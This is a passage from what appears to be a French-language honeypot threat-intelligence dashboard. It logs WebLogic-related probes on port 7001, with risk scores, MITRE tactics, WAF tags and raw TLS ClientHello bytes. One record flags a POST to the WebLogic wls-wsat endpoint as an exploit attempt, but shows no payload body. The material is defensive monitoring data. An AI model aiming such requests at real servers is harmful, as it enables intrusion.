"evidence_snippet": "POST \/wls-wsat\/CoordinatorPortType11 HTTP\/1.1\r\nHost: 62.3.50.33:7001\r\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64; rv:6",
"attack_vector": "http smuggling probe \u00b7 via HTTP:7001 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/wls-wsat\/CoordinatorPortType11",
"target_port_label": "7001 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 95 % \u2014 Motif catalogue confirm\u00e9 \u00b7 10 tag(s) WAF",
"site_display": {
"classification": null,
"classification_reason": "Motif SSRF \u00b7 confiance 95%",
"classification_reason_label_fr": "Motif SSRF \u00b7 confiance 95%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 80\/100 (\u00c9lev\u00e9) \u2014 MITRE TA0001 \u2014 confiance 100 % \u2014 via HTTP \u2014 multi-protocole (2 protocoles \u00b7 5 min)",
"confidence_pct": 100,
"confidence_breakdown": {
"waf": 100,
"classification": 85,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 25,
"risk_score": 80,
"correlation_boost": 8
},
"attack_stage": "exploit_attempt",
"attack_stage_label": "Tentative d'exploit",
"attack_chain_stage": "exploitation",
"attack_chain_stage_label_fr": "Exploitation",
"risk_score": 80,
"risk_label": "\u00c9lev\u00e9",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 7001,
"protocol_emulated": true,
"tags_summary": [
"pat-0842"
],
"tags_summary_labels_fr": [
"pat-0842"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "TA0001",
"mitre_technique": "TA0001",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": [
"multi_protocol_correlation"
],
"correlation_flags_labels_fr": [
"Multi-protocole corr\u00e9l\u00e9 (5 min)"
],
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": "Corr\u00e9lation +8",
"protocol_details": {
"http_method": "POST",
"http_path": "\/wls-wsat\/CoordinatorPortType11",
"request_line": "POST \/wls-wsat\/CoordinatorPortType11 HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko\/20100101 Firefox\/64.0",
"port": 7001,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "http smuggling probe \u00b7 via HTTP:7001 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/wls-wsat\/CoordinatorPortType11",
"evidence_snippet": "POST \/wls-wsat\/CoordinatorPortType11 HTTP\/1.1\r\nHost: 62.3.50.33:7001\r\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64; rv:6",
"target_port_label": "7001 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 95 % \u2014 Motif catalogue confirm\u00e9 \u00b7 10 tag(s) WAF",
"confidence_factors_fr": "Confiance 100 % \u2014 Score WAF 100 \u00b7 Bonus corr\u00e9lation +8 \u00b7 10 tag(s) WAF",
"campaign_hint_fr": null,
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": false,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": true,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "exploitation",
"label_fr": "Exploitation",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "7001"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"multi_protocol_correlation": true,
"multi_protocol_count": 2,
"multi_protocol_sample": [
"http",
"weblogic"
],
"multi_protocol_window_s": 300,
"behavior_alerts": [
"multi_protocol_correlation"
],
"correlation_confidence_boost": 8,
"attack_chain_stage": "exploitation",
"ban_policy": "advisory_investigate",
"tags_list": [
"950079:sqli-19",
"950191:xss-7",
"950319:lfi-14",
"950326:rce-0",
"950327:rce-0",
"950379:rce-13",
"950407:ssrf-3",
"950468:nosqli-3",
"950470:nosqli-3",
"950471:nosqli-3",
"http_contenttype_attack_surface",
"http_jwt_body",
"http_probe_weblogic_wls",
"http_ssrf_body",
"net_web_probe"
]
}
24/07/2026 09:38:55 UTC
TCP
7001 · WEBLOGIC
weblogic probe
weblogic probe · via WEBLOGIC:7001 · (sonde / probe)
Élevée
Faible · 33
Détails
Voir
Étape
Sonde / probe
Chaîne
Découverte
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
Corrélations
Multi-protocole corrélé (5 min)
MITRE
TA0007
TA0007
TA0001
Protocole
Émulateur
WEBLOGIC
WAF
—
Recommandation
Surveiller
Tags
net_weblogic_probe
tls_clienthello
weblogic_emulated
Cible HTTP
—
TLS SNI
—
Capteur
paris-1
Méthode
—
Port
7001
Chemin / cible
—
Service
WEBLOGIC
Payload
�A:�a�܅T��U�֦�ZE�f���|ʜDG = 3d@d��D���l��� �K�E����� >�,�0 �̨̩̪�+�/ ��$�( k�#�' g� � 9� � 3 �
Pourquoi cette classification : Type « weblogic_probe » (signaux protocolaires) · confiance 77%
Confiance classification
85%
Corrélation +8
Risque capteur
Faible
· 33
Confiance : Confiance 77 % — 3 signal(aux) capteur
Protocole émulé
1 Signaux
Weblogic Console
Upstream
Technique MITRE
TA0007
Tactiques MITRE
TA0007
TA0001
Motifs de détection (base)
Minecraft varint handshake
SIP TLS ClientHello
TFTP RRQ
User-Agent
—
Règles WAF
—
Payload (extrait)
�A:�a�܅T��U�֦�ZE�f���|ʜDG = 3d@d��D���l��� �K�E����� >�,�0 �̨̩̪�+�/ ��$�( k�#�' g�
� 9� � 3 �
Requête brute (extrait)
�A:�a�܅T��U�֦�ZE�f���|ʜDG = 3d@d��D���l��� �K�E����� >�,�0 �̨̩̪�+�/ ��$�( k�#�' g� � 9� � 3 � � = < 5 / � u # 0 . + - 3 &
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a205765624c6f676963205365727665722031342e312e312e300d0a436f6e74656e742d547970653a20746578742f68746d6c0d0a436f6e74656e742d4c656e6774683a2037390d0a0d0a3c68746d6c3e3c7469746c653e5765624c6f676963205365727665722043",
"emulator_response_len": 177,
"bytes_in": 517,
"payload_entropy": 3.9208059183664794,
"port_category": "registered",
"org": "Long Van System Solution JSC",
"service": "weblogic",
"app_proto": "weblogic",
"asn": 131386,
"country": "VN",
"dst_port": 7001,
"risk_waf": 8,
"risk_classification": 58,
"risk_behavior": 0,
"risk_geo": 0,
"risk_protocol": 30,
"risk_novelty": 0,
"risk_boost": 0,
"risk_granularity": 5.2,
"risk_breakdown": {
"waf": 8,
"classification": 58,
"behavior": 0,
"geo": 0,
"protocol": 30,
"novelty": 0
},
"risk_score": 33,
"tag_count": 3,
"anomaly_count": 0,
"campaign_key": "a513a8b6579875aee9e6cefbe17ae13f4cd756cc",
"event_fingerprint": "4ea7ffe7bc9ade2843b5e81016a496bfea35cfd6",
"classification_reason": "Type \u00ab weblogic_probe \u00bb (signaux protocolaires) \u00b7 confiance 77%",
"confidence": 0.85,
"classification_confidence": 0.85,
"precision_score": 87,
"precision_signals": [
"INT-weblogic_console",
"INT-upstream"
],
"kb_rule_ids": [
"INT-weblogic_console",
"INT-upstream"
],
"matched_patterns": [
"pat-0554",
"pat-0578",
"pat-0536"
],
"matched_pattern_names": [
"Minecraft varint handshake",
"SIP TLS ClientHello",
"TFTP RRQ"
],
"pattern_ids": [
"pat-0554",
"pat-0578",
"pat-0536"
],
"confidence_breakdown": {
"waf": 8,
"classification": 58,
"behavior": 0,
"geo": 0,
"protocol": 30,
"novelty": 0,
"risk_score": 33,
"correlation_boost": 8
},
"named_classification_skipped": false,
"service_name": "weblogic",
"risk_confidence_factor": 77,
"city": null,
"is_datacenter": false,
"is_tor_hint": false,
"geo": {
"country": "VN",
"asn": 131386,
"org": "Long Van System Solution JSC",
"is_datacenter": false,
"is_tor_hint": false
},
"fingerprint": {
"payload_hash": "68bf24a6d10ba108c88c0f870a3d960c",
"path_pattern_hash": "a179ef516d6662010534ca5ee85ea8d3"
},
"target_context": {
"dst_port": 7001,
"service": "weblogic",
"service_name": "weblogic",
"risk_score": 33
},
"payload_snippet": "\u0016\u0003\u0001\u0002\u0000\u0001\u0000\u0001\ufffd\u0003\u0003A:\ufffda\ufffd\u0705T\ufffd\ufffdU\ufffd\u05a6\ufffdZ\u0019E\ufffd\u0017f\ufffd\u0014\ufffd\ufffd|\u001b\u029c\u0018DG =\u001d3d@\bd\ufffd\u000e\ufffdD\u001b\ufffd\ufffd\ufffdl\ufffd\ufffd\ufffd\u0000\ufffdK\u0014\ufffdE\ufffd\ufffd\ufffd\ufffd\ufffd\u0013\u0000>\u0013\u0002\u0013\u0003\u0013\u0001\ufffd,\ufffd0\u0000\ufffd\u0329\u0328\u032a\ufffd+\ufffd\/\u0000\ufffd\ufffd$\ufffd(\u0000k\ufffd#\ufffd'\u0000g\ufffd\n\ufffd\u0014\u00009\ufffd\t\ufffd\u0013\u00003\u0000\ufffd",
"evidence": {
"request_sample": "\u0016\u0003\u0001\u0002\u0000\u0001\u0000\u0001\ufffd\u0003\u0003A:\ufffda\ufffd\u0705T\ufffd\ufffdU\ufffd\u05a6\ufffdZ\u0019E\ufffd\u0017f\ufffd\u0014\ufffd\ufffd|\u001b\u029c\u0018DG =\u001d3d@\bd\ufffd\u000e\ufffdD\u001b\ufffd\ufffd\ufffdl\ufffd\ufffd\ufffd\u0000\ufffdK\u0014\ufffdE\ufffd\ufffd\ufffd\ufffd\ufffd\u0013\u0000>\u0013\u0002\u0013\u0003\u0013\u0001\ufffd,\ufffd0\u0000\ufffd\u0329\u0328\u032a\ufffd+\ufffd\/\u0000\ufffd\ufffd$\ufffd(\u0000k\ufffd#\ufffd'\u0000g\ufffd\n\ufffd\u0014\u00009\ufffd\t\ufffd\u0013\u00003\u0000\ufffd\u0000\ufffd\u0000=\u0000<\u00005\u0000\/\u0000\ufffd\u0001\u0000\u0001u\u0000\u000b\u0000\u0004\u0003\u0000\u0001\u0002\u0000\n\u0000\f\u0000\n\u0000\u001d\u0000\u0017\u0000\u001e\u0000\u0019\u0000\u0018\u0000#\u0000\u0000\u0000\u0016\u0000\u0000\u0000\u0017\u0000\u0000\u0000\r\u00000\u0000.\u0004\u0003\u0005\u0003\u0006\u0003\b\u0007\b\b\b\t\b\n\b\u000b\b\u0004\b\u0005\b\u0006\u0004\u0001\u0005\u0001\u0006\u0001\u0003\u0003\u0002\u0003\u0003\u0001\u0002\u0001\u0003\u0002\u0002\u0002\u0004\u0002\u0005\u0002\u0006\u0002\u0000+\u0000\t\b\u0003\u0004\u0003\u0003\u0003\u0002\u0003\u0001\u0000-\u0000\u0002\u0001\u0001\u00003\u0000&\u0000",
"payload_snippet": "\u0016\u0003\u0001\u0002\u0000\u0001\u0000\u0001\ufffd\u0003\u0003A:\ufffda\ufffd\u0705T\ufffd\ufffdU\ufffd\u05a6\ufffdZ\u0019E\ufffd\u0017f\ufffd\u0014\ufffd\ufffd|\u001b\u029c\u0018DG =\u001d3d@\bd\ufffd\u000e\ufffdD\u001b\ufffd\ufffd\ufffdl\ufffd\ufffd\ufffd\u0000\ufffdK\u0014\ufffdE\ufffd\ufffd\ufffd\ufffd\ufffd\u0013\u0000>\u0013\u0002\u0013\u0003\u0013\u0001\ufffd,\ufffd0\u0000\ufffd\u0329\u0328\u032a\ufffd+\ufffd\/\u0000\ufffd\ufffd$\ufffd(\u0000k\ufffd#\ufffd'\u0000g\ufffd\n\ufffd\u0014\u00009\ufffd\t\ufffd\u0013\u00003\u0000\ufffd",
"classification_reason": "Type \u00ab weblogic_probe \u00bb (signaux protocolaires) \u00b7 confiance 77%"
},
"attack_stage": "probe",
"mitre_tactics": [
"TA0007",
"TA0001"
],
"mitre": "TA0007",
"threat_family": [
"enterprise_scan"
],
"recommended_client_action": "monitor",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "b82e8533f149821261f58357b0f0e779864ac116",
"protocol_details": {
"payload_preview": "\u0016\u0003\u0001\u0002\u0000\u0001\u0000\u0001\ufffd\u0003\u0003A:\ufffda\ufffd\u0705T\ufffd\ufffdU\ufffd\u05a6\ufffdZ\u0019E\ufffd\u0017f\ufffd\u0014\ufffd\ufffd|\u001b\u029c\u0018DG =\u001d3d@\bd\ufffd\u000e\ufffdD\u001b\ufffd\ufffd\ufffdl\ufffd\ufffd\ufffd\u0000\ufffdK\u0014\ufffdE\ufffd\ufffd\ufffd\ufffd\ufffd\u0013\u0000>\u0013\u0002\u0013\u0003\u0013\u0001\ufffd,\ufffd0\u0000\ufffd\u0329\u0328\u032a\ufffd+\ufffd\/\u0000\ufffd\ufffd$\ufffd(\u0000k\ufffd#\ufffd'\u0000g\ufffd\n\ufffd\u0014\u00009\ufffd\t\ufffd\u0013\u00003\u0000\ufffd",
"port": 7001,
"service": "weblogic",
"service_label_fr": "WEBLOGIC"
},
"evidence_snippet": "\ufffdA:\ufffda\ufffd\u0705T\ufffd\ufffdU\ufffd\u05a6\ufffdZE\ufffdf\ufffd\ufffd\ufffd|\u029cDG =3d@d\ufffd\ufffdD\ufffd\ufffd\ufffdl\ufffd\ufffd\ufffd\ufffdK\ufffdE\ufffd\ufffd\ufffd\ufffd\ufffd>\ufffd,\ufffd0\ufffd\u0329\u0328\u032a\ufffd+\ufffd\/\ufffd\ufffd$\ufffd(k\ufffd#\ufffd'g\ufffd\n\ufffd9\ufffd\t\ufffd3\ufffd",
"attack_vector": "weblogic probe \u00b7 via WEBLOGIC:7001 \u00b7 (sonde \/ probe)",
"target_port_label": "7001 \u00b7 WEBLOGIC",
"emulator_service": "weblogic",
"confidence_reason": "Confiance 77 % \u2014 3 signal(aux) capteur",
"site_display": {
"classification": null,
"classification_reason": "Type \u00ab weblogic_probe \u00bb (signaux protocolaires) \u00b7 confiance 77%",
"classification_reason_label_fr": "Type \u00ab weblogic_probe \u00bb (signaux protocolaires) \u00b7 confiance 77%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u00b7 risque 33\/100",
"confidence_pct": 85,
"confidence_breakdown": {
"waf": 8,
"classification": 58,
"behavior": 0,
"geo": 0,
"protocol": 30,
"novelty": 0,
"risk_score": 33,
"correlation_boost": 8
},
"attack_stage": "probe",
"attack_stage_label": "Sonde \/ probe",
"attack_chain_stage": "discovery",
"attack_chain_stage_label_fr": "D\u00e9couverte",
"risk_score": 33,
"risk_label": "Faible",
"service_name": "weblogic",
"service_label_fr": "WEBLOGIC",
"dst_port": 7001,
"protocol_emulated": true,
"tags_summary": [
"INT-weblogic_console",
"INT-upstream"
],
"tags_summary_labels_fr": [
"Weblogic Console",
"Upstream"
],
"recommended_action": "monitor",
"recommended_action_label": "Surveiller",
"mitre": "TA0007",
"mitre_technique": "TA0007",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-weblogic",
"correlation_flags": [
"multi_protocol_correlation"
],
"correlation_flags_labels_fr": [
"Multi-protocole corr\u00e9l\u00e9 (5 min)"
],
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": "Corr\u00e9lation +8",
"protocol_details": {
"payload_preview": "\u0016\u0003\u0001\u0002\u0000\u0001\u0000\u0001\ufffd\u0003\u0003A:\ufffda\ufffd\u0705T\ufffd\ufffdU\ufffd\u05a6\ufffdZ\u0019E\ufffd\u0017f\ufffd\u0014\ufffd\ufffd|\u001b\u029c\u0018DG =\u001d3d@\bd\ufffd\u000e\ufffdD\u001b\ufffd\ufffd\ufffdl\ufffd\ufffd\ufffd\u0000\ufffdK\u0014\ufffdE\ufffd\ufffd\ufffd\ufffd\ufffd\u0013\u0000>\u0013\u0002\u0013\u0003\u0013\u0001\ufffd,\ufffd0\u0000\ufffd\u0329\u0328\u032a\ufffd+\ufffd\/\u0000\ufffd\ufffd$\ufffd(\u0000k\ufffd#\ufffd'\u0000g\ufffd\n\ufffd\u0014\u00009\ufffd\t\ufffd\u0013\u00003\u0000\ufffd",
"port": 7001,
"service": "weblogic",
"service_label_fr": "WEBLOGIC"
},
"attack_vector": "weblogic probe \u00b7 via WEBLOGIC:7001 \u00b7 (sonde \/ probe)",
"evidence_snippet": "\ufffdA:\ufffda\ufffd\u0705T\ufffd\ufffdU\ufffd\u05a6\ufffdZE\ufffdf\ufffd\ufffd\ufffd|\u029cDG =3d@d\ufffd\ufffdD\ufffd\ufffd\ufffdl\ufffd\ufffd\ufffd\ufffdK\ufffdE\ufffd\ufffd\ufffd\ufffd\ufffd>\ufffd,\ufffd0\ufffd\u0329\u0328\u032a\ufffd+\ufffd\/\ufffd\ufffd$\ufffd(k\ufffd#\ufffd'g\ufffd\n\ufffd9\ufffd\t\ufffd3\ufffd",
"target_port_label": "7001 \u00b7 WEBLOGIC",
"emulator_service": "weblogic",
"confidence_reason": "Confiance 77 % \u2014 3 signal(aux) capteur",
"confidence_factors_fr": "Confiance 85 % \u2014 Score WAF 8 \u00b7 Bonus corr\u00e9lation +8",
"campaign_hint_fr": null,
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": true,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": false,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "discovery",
"label_fr": "D\u00e9couverte",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "weblogic",
"service_banner": "honeypot-weblogic",
"service_os": "linux",
"dst_port": "7001"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"multi_protocol_correlation": true,
"multi_protocol_count": 2,
"multi_protocol_sample": [
"http",
"weblogic"
],
"multi_protocol_window_s": 300,
"behavior_alerts": [
"multi_protocol_correlation"
],
"correlation_confidence_boost": 8,
"attack_chain_stage": "discovery",
"ban_policy": "advisory_monitor",
"tags_list": [
"net_weblogic_probe",
"tls_clienthello",
"weblogic_emulated"
]
}
24/07/2026 09:38:54 UTC
TCP
7001 · WEBLOGIC
weblogic probe
weblogic probe · via WEBLOGIC:7001 · (sonde / probe)
Élevée
Faible · 33
Détails
Voir
Étape
Sonde / probe
Chaîne
Découverte
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
Corrélations
Multi-protocole corrélé (5 min)
MITRE
TA0007
TA0007
TA0001
Protocole
Émulateur
WEBLOGIC
WAF
—
Recommandation
Surveiller
Tags
net_weblogic_probe
tls_clienthello
weblogic_emulated
Cible HTTP
—
TLS SNI
—
Capteur
paris-1
Méthode
—
Port
7001
Chemin / cible
—
Service
WEBLOGIC
Payload
�8��VǕ�,� o���|X͆�d/�z�� 4} ���iP���F�[�,F� ��2���G�%� >�,�0 �̨̩̪�+�/ ��$�( k�#�' g� � 9� � 3 �
Pourquoi cette classification : Type « weblogic_probe » (signaux protocolaires) · confiance 77%
Confiance classification
85%
Corrélation +8
Risque capteur
Faible
· 33
Confiance : Confiance 77 % — 3 signal(aux) capteur
Protocole émulé
1 Signaux
Weblogic Console
Upstream
Technique MITRE
TA0007
Tactiques MITRE
TA0007
TA0001
Motifs de détection (base)
Minecraft varint handshake
SIP TLS ClientHello
TFTP RRQ
User-Agent
—
Règles WAF
—
Payload (extrait)
�8��VǕ�,�
o���|X͆�d/�z�� 4}
���iP���F�[�,F� ��2���G�%� >�,�0 �̨̩̪�+�/ ��$�( k�#�' g�
� 9� � 3 �
Requête brute (extrait)
�8��VǕ�,� o���|X͆�d/�z�� 4} ���iP���F�[�,F� ��2���G�%� >�,�0 �̨̩̪�+�/ ��$�( k�#�' g� � 9� � 3 � � = < 5 / � u # 0 . + - 3 &
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a205765624c6f676963205365727665722031342e312e312e300d0a436f6e74656e742d547970653a20746578742f68746d6c0d0a436f6e74656e742d4c656e6774683a2037390d0a0d0a3c68746d6c3e3c7469746c653e5765624c6f676963205365727665722043",
"emulator_response_len": 177,
"bytes_in": 517,
"payload_entropy": 3.964357995846554,
"port_category": "registered",
"org": "Long Van System Solution JSC",
"service": "weblogic",
"app_proto": "weblogic",
"asn": 131386,
"country": "VN",
"dst_port": 7001,
"risk_waf": 8,
"risk_classification": 58,
"risk_behavior": 0,
"risk_geo": 0,
"risk_protocol": 30,
"risk_novelty": 0,
"risk_boost": 0,
"risk_granularity": 5.2,
"risk_breakdown": {
"waf": 8,
"classification": 58,
"behavior": 0,
"geo": 0,
"protocol": 30,
"novelty": 0
},
"risk_score": 33,
"tag_count": 3,
"anomaly_count": 0,
"campaign_key": "a513a8b6579875aee9e6cefbe17ae13f4cd756cc",
"event_fingerprint": "4ea7ffe7bc9ade2843b5e81016a496bfea35cfd6",
"classification_reason": "Type \u00ab weblogic_probe \u00bb (signaux protocolaires) \u00b7 confiance 77%",
"confidence": 0.85,
"classification_confidence": 0.85,
"precision_score": 87,
"precision_signals": [
"INT-weblogic_console",
"INT-upstream"
],
"kb_rule_ids": [
"INT-weblogic_console",
"INT-upstream"
],
"matched_patterns": [
"pat-0554",
"pat-0578",
"pat-0536"
],
"matched_pattern_names": [
"Minecraft varint handshake",
"SIP TLS ClientHello",
"TFTP RRQ"
],
"pattern_ids": [
"pat-0554",
"pat-0578",
"pat-0536"
],
"confidence_breakdown": {
"waf": 8,
"classification": 58,
"behavior": 0,
"geo": 0,
"protocol": 30,
"novelty": 0,
"risk_score": 33,
"correlation_boost": 8
},
"named_classification_skipped": false,
"service_name": "weblogic",
"risk_confidence_factor": 77,
"city": null,
"is_datacenter": false,
"is_tor_hint": false,
"geo": {
"country": "VN",
"asn": 131386,
"org": "Long Van System Solution JSC",
"is_datacenter": false,
"is_tor_hint": false
},
"fingerprint": {
"payload_hash": "f4ce3c663f40cc13e8942181b7df836a",
"path_pattern_hash": "a179ef516d6662010534ca5ee85ea8d3"
},
"target_context": {
"dst_port": 7001,
"service": "weblogic",
"service_name": "weblogic",
"risk_score": 33
},
"payload_snippet": "\u0016\u0003\u0001\u0002\u0000\u0001\u0000\u0001\ufffd\u0003\u00038\ufffd\ufffdV\u01d5\ufffd,\ufffd\u0001\n\u0013o\ufffd\ufffd\ufffd|X\u0346\u0016\ufffdd\/\ufffd\u0010z\ufffd\ufffd\u001f \u001d4}\n\ufffd\ufffd\ufffdiP\ufffd\u0011\ufffd\ufffdF\ufffd[\u0012\ufffd,F\ufffd\f\ufffd\ufffd2\ufffd\ufffd\ufffdG\ufffd%\ufffd\u0000>\u0013\u0002\u0013\u0003\u0013\u0001\ufffd,\ufffd0\u0000\ufffd\u0329\u0328\u032a\ufffd+\ufffd\/\u0000\ufffd\ufffd$\ufffd(\u0000k\ufffd#\ufffd'\u0000g\ufffd\n\ufffd\u0014\u00009\ufffd\t\ufffd\u0013\u00003\u0000\ufffd",
"evidence": {
"request_sample": "\u0016\u0003\u0001\u0002\u0000\u0001\u0000\u0001\ufffd\u0003\u00038\ufffd\ufffdV\u01d5\ufffd,\ufffd\u0001\n\u0013o\ufffd\ufffd\ufffd|X\u0346\u0016\ufffdd\/\ufffd\u0010z\ufffd\ufffd\u001f \u001d4}\n\ufffd\ufffd\ufffdiP\ufffd\u0011\ufffd\ufffdF\ufffd[\u0012\ufffd,F\ufffd\f\ufffd\ufffd2\ufffd\ufffd\ufffdG\ufffd%\ufffd\u0000>\u0013\u0002\u0013\u0003\u0013\u0001\ufffd,\ufffd0\u0000\ufffd\u0329\u0328\u032a\ufffd+\ufffd\/\u0000\ufffd\ufffd$\ufffd(\u0000k\ufffd#\ufffd'\u0000g\ufffd\n\ufffd\u0014\u00009\ufffd\t\ufffd\u0013\u00003\u0000\ufffd\u0000\ufffd\u0000=\u0000<\u00005\u0000\/\u0000\ufffd\u0001\u0000\u0001u\u0000\u000b\u0000\u0004\u0003\u0000\u0001\u0002\u0000\n\u0000\f\u0000\n\u0000\u001d\u0000\u0017\u0000\u001e\u0000\u0019\u0000\u0018\u0000#\u0000\u0000\u0000\u0016\u0000\u0000\u0000\u0017\u0000\u0000\u0000\r\u00000\u0000.\u0004\u0003\u0005\u0003\u0006\u0003\b\u0007\b\b\b\t\b\n\b\u000b\b\u0004\b\u0005\b\u0006\u0004\u0001\u0005\u0001\u0006\u0001\u0003\u0003\u0002\u0003\u0003\u0001\u0002\u0001\u0003\u0002\u0002\u0002\u0004\u0002\u0005\u0002\u0006\u0002\u0000+\u0000\t\b\u0003\u0004\u0003\u0003\u0003\u0002\u0003\u0001\u0000-\u0000\u0002\u0001\u0001\u00003\u0000&\u0000",
"payload_snippet": "\u0016\u0003\u0001\u0002\u0000\u0001\u0000\u0001\ufffd\u0003\u00038\ufffd\ufffdV\u01d5\ufffd,\ufffd\u0001\n\u0013o\ufffd\ufffd\ufffd|X\u0346\u0016\ufffdd\/\ufffd\u0010z\ufffd\ufffd\u001f \u001d4}\n\ufffd\ufffd\ufffdiP\ufffd\u0011\ufffd\ufffdF\ufffd[\u0012\ufffd,F\ufffd\f\ufffd\ufffd2\ufffd\ufffd\ufffdG\ufffd%\ufffd\u0000>\u0013\u0002\u0013\u0003\u0013\u0001\ufffd,\ufffd0\u0000\ufffd\u0329\u0328\u032a\ufffd+\ufffd\/\u0000\ufffd\ufffd$\ufffd(\u0000k\ufffd#\ufffd'\u0000g\ufffd\n\ufffd\u0014\u00009\ufffd\t\ufffd\u0013\u00003\u0000\ufffd",
"classification_reason": "Type \u00ab weblogic_probe \u00bb (signaux protocolaires) \u00b7 confiance 77%"
},
"attack_stage": "probe",
"mitre_tactics": [
"TA0007",
"TA0001"
],
"mitre": "TA0007",
"threat_family": [
"enterprise_scan"
],
"recommended_client_action": "monitor",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "cfad8e5d275278542d78ab1a12aa976603758db0",
"protocol_details": {
"payload_preview": "\u0016\u0003\u0001\u0002\u0000\u0001\u0000\u0001\ufffd\u0003\u00038\ufffd\ufffdV\u01d5\ufffd,\ufffd\u0001\n\u0013o\ufffd\ufffd\ufffd|X\u0346\u0016\ufffdd\/\ufffd\u0010z\ufffd\ufffd\u001f \u001d4}\n\ufffd\ufffd\ufffdiP\ufffd\u0011\ufffd\ufffdF\ufffd[\u0012\ufffd,F\ufffd\f\ufffd\ufffd2\ufffd\ufffd\ufffdG\ufffd%\ufffd\u0000>\u0013\u0002\u0013\u0003\u0013\u0001\ufffd,\ufffd0\u0000\ufffd\u0329\u0328\u032a\ufffd+\ufffd\/\u0000\ufffd\ufffd$\ufffd(\u0000k\ufffd#\ufffd'\u0000g\ufffd\n\ufffd\u0014\u00009\ufffd\t\ufffd\u0013\u00003\u0000\ufffd",
"port": 7001,
"service": "weblogic",
"service_label_fr": "WEBLOGIC"
},
"evidence_snippet": "\ufffd8\ufffd\ufffdV\u01d5\ufffd,\ufffd\no\ufffd\ufffd\ufffd|X\u0346\ufffdd\/\ufffdz\ufffd\ufffd 4}\n\ufffd\ufffd\ufffdiP\ufffd\ufffd\ufffdF\ufffd[\ufffd,F\ufffd\ufffd\ufffd2\ufffd\ufffd\ufffdG\ufffd%\ufffd>\ufffd,\ufffd0\ufffd\u0329\u0328\u032a\ufffd+\ufffd\/\ufffd\ufffd$\ufffd(k\ufffd#\ufffd'g\ufffd\n\ufffd9\ufffd\t\ufffd3\ufffd",
"attack_vector": "weblogic probe \u00b7 via WEBLOGIC:7001 \u00b7 (sonde \/ probe)",
"target_port_label": "7001 \u00b7 WEBLOGIC",
"emulator_service": "weblogic",
"confidence_reason": "Confiance 77 % \u2014 3 signal(aux) capteur",
"site_display": {
"classification": null,
"classification_reason": "Type \u00ab weblogic_probe \u00bb (signaux protocolaires) \u00b7 confiance 77%",
"classification_reason_label_fr": "Type \u00ab weblogic_probe \u00bb (signaux protocolaires) \u00b7 confiance 77%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u00b7 risque 33\/100",
"confidence_pct": 85,
"confidence_breakdown": {
"waf": 8,
"classification": 58,
"behavior": 0,
"geo": 0,
"protocol": 30,
"novelty": 0,
"risk_score": 33,
"correlation_boost": 8
},
"attack_stage": "probe",
"attack_stage_label": "Sonde \/ probe",
"attack_chain_stage": "discovery",
"attack_chain_stage_label_fr": "D\u00e9couverte",
"risk_score": 33,
"risk_label": "Faible",
"service_name": "weblogic",
"service_label_fr": "WEBLOGIC",
"dst_port": 7001,
"protocol_emulated": true,
"tags_summary": [
"INT-weblogic_console",
"INT-upstream"
],
"tags_summary_labels_fr": [
"Weblogic Console",
"Upstream"
],
"recommended_action": "monitor",
"recommended_action_label": "Surveiller",
"mitre": "TA0007",
"mitre_technique": "TA0007",
"persona_hostname": "mail.sensor-1.internal",
